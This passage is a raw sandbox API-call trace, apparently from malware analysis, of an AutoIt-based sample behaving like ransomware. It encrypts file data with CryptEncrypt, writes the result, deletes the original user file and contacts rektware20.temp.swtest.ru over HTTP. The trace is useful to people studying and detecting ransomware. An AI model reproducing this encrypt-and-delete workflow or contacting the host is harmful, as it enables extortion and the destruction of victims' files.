lpUsedDefaultChar=0x0) returned 17 [0067.602] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0067.602] CryptGetKeyParam (in: hKey=0x164c370, dwParam=0x7, pbData=0x1629640, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629640*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0067.602] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.602] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.602] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.602] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.602] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.602] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.602] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.602] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.602] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.603] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.603] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.603] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.603] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.603] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.603] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.603] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.603] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.603] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.603] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.603] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.603] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.603] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.603] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.603] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.604] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0067.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621870, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0067.605] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0067.605] CryptEncrypt (in: hKey=0x164c370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x1663b, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x16640) returned 1 [0067.605] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.605] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.605] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.605] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.605] CharLowerBuffW (in: lpsz="byte[91713]", cchLength=0xb | out: lpsz="byte[91713]") returned 0xb [0067.605] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.608] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.608] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.608] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.610] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0067.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0067.610] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0067.610] CryptEncrypt (in: hKey=0x164c370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e73d8*, pdwDataLen=0x130e618*=0x1663b, dwBufLen=0x16640 | out: pbData=0x17e73d8*, pdwDataLen=0x130e618*=0x16640) returned 1 [0067.611] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.611] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.611] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.612] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.612] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.612] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.612] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.612] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.612] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.612] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.612] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.612] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.612] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.612] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.612] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.612] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.612] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.618] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.618] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.618] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.619] WriteFile (in: hFile=0x2ac, lpBuffer=0x1893658*, nNumberOfBytesToWrite=0x16640, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x1893658*, lpNumberOfBytesWritten=0x130f01c*=0x16640, lpOverlapped=0x0) returned 1 [0067.622] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.622] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.622] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0067.622] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.622] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.622] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0067.622] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0067.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621408, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0067.623] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0067.623] CryptDestroyKey (hKey=0x164c370) returned 1 [0067.623] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.623] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.623] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.623] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.623] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.623] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0067.623] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0067.623] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.623] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.623] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0067.623] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.623] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.623] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.623] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.624] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.624] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.624] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.624] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.624] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.624] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.624] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.624] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.624] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0067.624] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.624] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.624] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.624] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.624] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.624] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0067.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0067.625] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0067.625] CryptReleaseContext (hProv=0x17aa1a8, dwFlags=0x0) returned 1 [0067.625] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.625] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.625] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.625] FreeLibrary (hLibModule=0x74c60000) returned 1 [0067.625] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.625] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.625] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.625] CloseHandle (hObject=0x3bc) returned 1 [0067.627] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.627] CloseHandle (hObject=0x2ac) returned 1 [0067.630] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.631] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.631] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", lpFilePart=0x0) returned 0x43 [0067.631] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly\\iyqgx6ra4nrh1hila.swf")) returned 0x20 [0067.631] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c3f0 [0067.632] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\IyQgx6RA4Nrh1HiLA.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly\\iyqgx6ra4nrh1hila.swf")) returned 1 [0067.633] FindNextFileW (in: hFindFile=0x164c3f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0067.635] FindClose (in: hFindFile=0x164c3f0 | out: hFindFile=0x164c3f0) returned 1 [0067.635] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.635] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.635] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.635] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.636] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0067.636] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0067.636] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.636] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0067.636] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0067.636] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0067.636] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0067.636] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e68, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e68, lpdwBufferLength=0x130ef8c) returned 1 [0067.636] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0067.636] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0067.636] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0067.640] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0067.640] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0067.640] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0067.640] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0067.640] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0067.640] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0067.641] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0067.641] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0067.641] CloseHandle (hObject=0x0) returned 0 [0067.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, 